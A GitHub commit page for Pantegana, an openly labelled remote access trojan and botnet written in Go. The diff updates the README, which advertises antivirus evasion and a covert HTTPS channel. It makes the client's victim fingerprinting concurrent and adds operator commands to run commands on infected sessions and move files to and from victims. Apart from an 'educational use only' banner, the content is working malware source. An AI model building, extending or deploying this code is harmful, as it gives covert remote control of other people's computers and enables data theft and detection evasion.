Skip to content

Commit

Permalink
first push to master: changes for v0.1.0
Browse files Browse the repository at this point in the history
  • Loading branch information
cassanof committed Jul 19, 2021
1 parent c8f99a2 commit 4f2340c
Show file tree
Hide file tree
Showing 9 changed files with 241 additions and 79 deletions.
23 changes: 18 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,18 @@
# Pantegana - a RAT/Botnet coded in Go
FOR EDUCATIONAL AND RESEARCH USE ONLY
# Pantegana - A Botnet RAT Made With Go
### <center>FOR EDUCATIONAL AND RESEARCH USE ONLY</center>

▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄
█ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄
▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█
█ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █
▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀
█ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐
▐ ▐ ▐ ▐ ▐

## Features:
- Pretty and clean interactive shell (using <a href="https://github.com/desertbit/grumble" target="_blank">grumble</a>)
- HTTPS covert channel for communications
- Undetected by AVs by nature
- Undetected by AVs (behavioral AVs might detect it if its not running on port 443)
- Direct command execution (not using bash or sh)
- Multiple sessions handling
- File Upload/Download
Expand All @@ -15,10 +24,14 @@ FOR EDUCATIONAL AND RESEARCH USE ONLY
- bash/cmd/psh shell dropping
- TOR routing?

## Usage:
## Building:
To build the program you will need `openssl` and `go-bindata`.
Use: `go get -u github.com/go-bindata/go-bindata/...`

When running `make` you will need to specify any external IP or domain to include in the SSL certificate.
***This is done to prevent people stealing your binary and using it for malicious reasons.***
Example: `make IP=1.1.1.1 DOMAIN=example.com`.
If you do not want to specify an IP or a domain, use `127.0.0.1` and `localhost` respectively.
Example: `make IP=127.0.0.1 DOMAIN=localhost`
Example: `make IP=127.0.0.1 DOMAIN=localhost`

Check Makefile for different build/running options
4 changes: 2 additions & 2 deletions client/client.go
Original file line number Diff line number Diff line change
Expand Up @@ -124,10 +124,10 @@ func RunClient(host string, port int) {
log.SetOutput(ioutil.Discard)
}

client := ClientSetup()

RunFingerprinter()

client := ClientSetup()

for {
cmd, hoststr := RequestCommand(client, host, port)
Middleware(client, cmd, hoststr)
Expand Down
76 changes: 49 additions & 27 deletions client/fingerprinter.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import (
"os/exec"
"runtime"
"strings"
"sync"
)

type SysInfo struct {
Expand All @@ -30,32 +31,44 @@ func GetCurrentSysInfo() SysInfo {
return clientSysInfo
}

func (i *SysInfo) fingerprintLinux() {
out, err := exec.Command("uname", "-rn").Output()
if err == nil {
split := strings.SplitN(trim(out), " ", 2)
i.Name = split[0]
i.Kernel = split[1]
}
out, err = exec.Command("lsb_release", "-d").Output()
if err == nil {
i.Distro = strings.SplitN(trim(out), "\t", 2)[1]
}
out, err = exec.Command("whoami").Output()
if err == nil {
i.User.Name = trim(out)
}
out, err = exec.Command("id", "-u").Output()
if err == nil {
i.User.Id = trim(out)
}
out, err = exec.Command("groups").Output()
if err == nil {
i.User.Groups = trim(out)
}

dbg, _ := json.MarshalIndent(i, "", " ")
log.Println(string(dbg))
func (i *SysInfo) fingerprintLinux(wg *sync.WaitGroup) {
go func() {
out, err := exec.Command("uname", "-rn").Output()
if err == nil {
split := strings.SplitN(trim(out), " ", 2)
i.Name = split[0]
i.Kernel = split[1]
}
defer wg.Done()
}()
go func() {
out, err := exec.Command("lsb_release", "-d").Output()
if err == nil {
i.Distro = strings.SplitN(trim(out), "\t", 2)[1]
}
defer wg.Done()
}()
go func() {
out, err := exec.Command("whoami").Output()
if err == nil {
i.User.Name = trim(out)
}
defer wg.Done()
}()
go func() {
out, err := exec.Command("id", "-u").Output()
if err == nil {
i.User.Id = trim(out)
}
defer wg.Done()
}()
go func() {
out, err := exec.Command("groups").Output()
if err == nil {
i.User.Groups = trim(out)
}
defer wg.Done()
}()
}

// TODO: fingerprintWindows
Expand All @@ -73,15 +86,24 @@ func RunFingerprinter() {
Arch: runtime.GOARCH,
}

var wg sync.WaitGroup

switch runtime.GOOS {
case "windows":
go clientSysInfo.fingerprintWindows()
case "darwin":
go clientSysInfo.fingerprintOsx()
default:
// probably some kind of bsd so...
go clientSysInfo.fingerprintLinux()
wg.Add(5) // Set here the number of commands to execute
go clientSysInfo.fingerprintLinux(&wg)
}

// Wait for commands to finish
wg.Wait()

dbg, _ := json.MarshalIndent(clientSysInfo, "", " ")
log.Println(string(dbg))
}

// Helper func to trim '/n' and convert byte arr to string
Expand Down
3 changes: 1 addition & 2 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -4,9 +4,8 @@ go 1.16

require (
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0 // indirect
github.com/fatih/color v1.12.0
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/matoous/go-nanoid/v2 v2.0.0
github.com/mattn/go-isatty v0.0.13 // indirect
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
)
4 changes: 0 additions & 4 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -35,10 +35,6 @@ github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/matoous/go-nanoid v1.5.0 h1:VRorl6uCngneC4oUQqOYtO3S0H5QKFtKuKycFG3euek=
github.com/matoous/go-nanoid v1.5.0/go.mod h1:zyD2a71IubI24efhpvkJz+ZwfwagzgSO6UNiFsZKN7U=
github.com/matoous/go-nanoid/v2 v2.0.0 h1:d19kur2QuLeHmJBkvYkFdhFBzLoo1XVm2GgTpL+9Tj0=
github.com/matoous/go-nanoid/v2 v2.0.0/go.mod h1:FtS4aGPVfEkxKxhdWPAspZpZSh1cOjtM7Ej/So3hR0g=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
Expand Down
153 changes: 131 additions & 22 deletions server/cli.go
Original file line number Diff line number Diff line change
@@ -1,29 +1,49 @@
package server

import (
"errors"
"fmt"
"strings"

"github.com/desertbit/grumble"
"github.com/fatih/color"
)

var cli = grumble.New(&grumble.Config{
Name: "pantegana",
Description: "A RAT/Botnet written in Go",
Name: "pantegana",
Description: "A RAT/Botnet written in Go",
HistoryFile: "/tmp/pantegana.hist",
Prompt: "[pantegana]$ ",
PromptColor: color.New(color.FgHiCyan, color.Bold),
HelpHeadlineColor: color.New(color.FgCyan),
HelpHeadlineUnderline: true,
HelpSubCommands: true,

Flags: func(f *grumble.Flags) {
f.String("d", "directory", "DEFAULT", "set an alternative directory path")
f.Bool("v", "verbose", false, "enable verbose mode")
},
})

func init() {
cli.SetPrintASCIILogo(func(a *grumble.App) {
a.Println()
a.Println("▄▀▀▄▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄ ▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀█▄ ")
a.Println("█ █ █ ▐ ▄▀ ▀▄ █ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ ▐ ▄▀ ▀▄ █ █ █ █ ▐ ▄▀ ▀▄ ")
a.Println("▐ █▀▀▀▀ █▄▄▄█ ▐ █ ▀█ ▐ █ █▄▄▄▄▄ █ ▀▄▄ █▄▄▄█ ▐ █ ▀█ █▄▄▄█ ")
a.Println(" █ ▄▀ █ █ █ █ █ ▌ █ █ █ ▄▀ █ █ █ ▄▀ █ ")
a.Println(" ▄▀ █ ▄▀ ▄▀ █ ▄▀ ▄▀▄▄▄▄ ▐▀▄▄▄▄▀ ▐ █ ▄▀ ▄▀ █ █ ▄▀ ")
a.Println("█ ▐ ▐ █ ▐ █ █ ▐ ▐ ▐ ▐ █ ▐ ▐ ▐ ")
a.Println("▐ ▐ ▐ ▐ ▐ ")
a.Println()
})

cli.AddCommand(&grumble.Command{
Name: "listen",
Help: "runs the listener",
Name: "listen",
Help: "runs the listener",
Aliases: []string{"l"},

Flags: func(f *grumble.Flags) {
f.Int("p", "port", 1337, "The port to listen (443 needs root but reccomend)")
f.BoolL("notls", false, "Set to remove encryption. Use mostly in testing.")
f.Int("p", "port", 1337, "the port to listen (443 needs root but reccomend)")
f.BoolL("notls", false, "set to remove encryption. Use mostly in testing.")
},

Args: func(a *grumble.Args) {
Expand All @@ -37,37 +57,43 @@ func init() {
})

cli.AddCommand(&grumble.Command{
Name: "exec",
Help: "executes a command to a session",
Name: "exec",
Help: "executes a command to a session",
Aliases: []string{"e"},

Flags: func(f *grumble.Flags) {
f.Int("s", "session", -1, " * The sesssion to execute the command to.")
f.Int("s", "session", -1, " * the sesssion to execute the command to.")
},

Args: func(a *grumble.Args) {
a.String("cmd", "command to execute")
a.StringList("cmd", "command to execute")
},

Run: func(c *grumble.Context) error {
if c.Flags.Int("session") == -1 {
return errors.New("Please define a session with -s")
return ErrUndefinedSession
}
sessionId := c.Flags.Int("session")
sessionObj, err := GetSession(sessionId)
if err != nil {
return err
}
session := c.Flags.Int("session")

go func() {
err := Sessions[session].WriteToCmd(c.Args.String("cmd"))
go func(cmd string) {
err = sessionObj.WriteToCmd(cmd)
if err != nil {
cli.PrintError(err)
}
}()
}(strings.Join(c.Args.StringList("cmd"), " "))

return nil
},
})

cli.AddCommand(&grumble.Command{
Name: "close",
Help: "closes the listener",
Name: "close",
Help: "closes the listener",
Aliases: []string{"c"},

Run: func(c *grumble.Context) error {
err := CloseServer()
Expand All @@ -80,14 +106,97 @@ func init() {
})

cli.AddCommand(&grumble.Command{
Name: "sessions",
Help: "Lists the sessions",
Name: "sessions",
Help: "lists currently open sessions",
Aliases: []string{"s"},

// TODO: make this fancy
Run: func(c *grumble.Context) error {
PrettyPrintSessions()
return nil
},
})

cli.AddCommand(&grumble.Command{
Name: "upload",
Help: "transfer a file from a session to the server (ends up in uploads dir)",
Aliases: []string{"up"},

Args: func(a *grumble.Args) {
a.String("source", "the name of the file on the session's system")
a.String("destname", "the name that the file will have on the server's uploads dir", grumble.Default(""))
},

Flags: func(f *grumble.Flags) {
f.Int("s", "session", -1, " * the sesssion to execute the command to.")
},

Run: func(c *grumble.Context) error {
if c.Flags.Int("session") == -1 {
return ErrUndefinedSession
}
sessionId := c.Flags.Int("session")
sessionObj, err := GetSession(sessionId)
if err != nil {
return err
}

source := c.Args.String("source")
dest := c.Args.String("destname")
if dest == "" {
dest = source
}

go func() {
err = sessionObj.WriteToCmd(fmt.Sprintf("__upload__ %s %s", source, dest))
if err != nil {
cli.PrintError(err)
}
}()

return nil
},
})

cli.Stdout()

cli.AddCommand(&grumble.Command{
Name: "download",
Help: "transfer a file from the server to a session (ends up in download dir)",
Aliases: []string{"dl"},

Args: func(a *grumble.Args) {
a.String("source", "the name of the file on the servers's system")
a.String("destname", "the name that the file will have on the session's uploads dir", grumble.Default(""))
},

Flags: func(f *grumble.Flags) {
f.Int("s", "session", -1, " * the sesssion to execute the command to.")
},

Run: func(c *grumble.Context) error {
if c.Flags.Int("session") == -1 {
return ErrUndefinedSession
}
sessionId := c.Flags.Int("session")
sessionObj, err := GetSession(sessionId)
if err != nil {
return err
}

source := c.Args.String("source")
dest := c.Args.String("destname")
if dest == "" {
dest = source
}

go func() {
err = sessionObj.WriteToCmd(fmt.Sprintf("__download__ %s %s", source, dest))
if err != nil {
cli.PrintError(err)
}
}()

return nil
},
})
}
Loading

0 comments on commit 4f2340c

Please sign in to comment.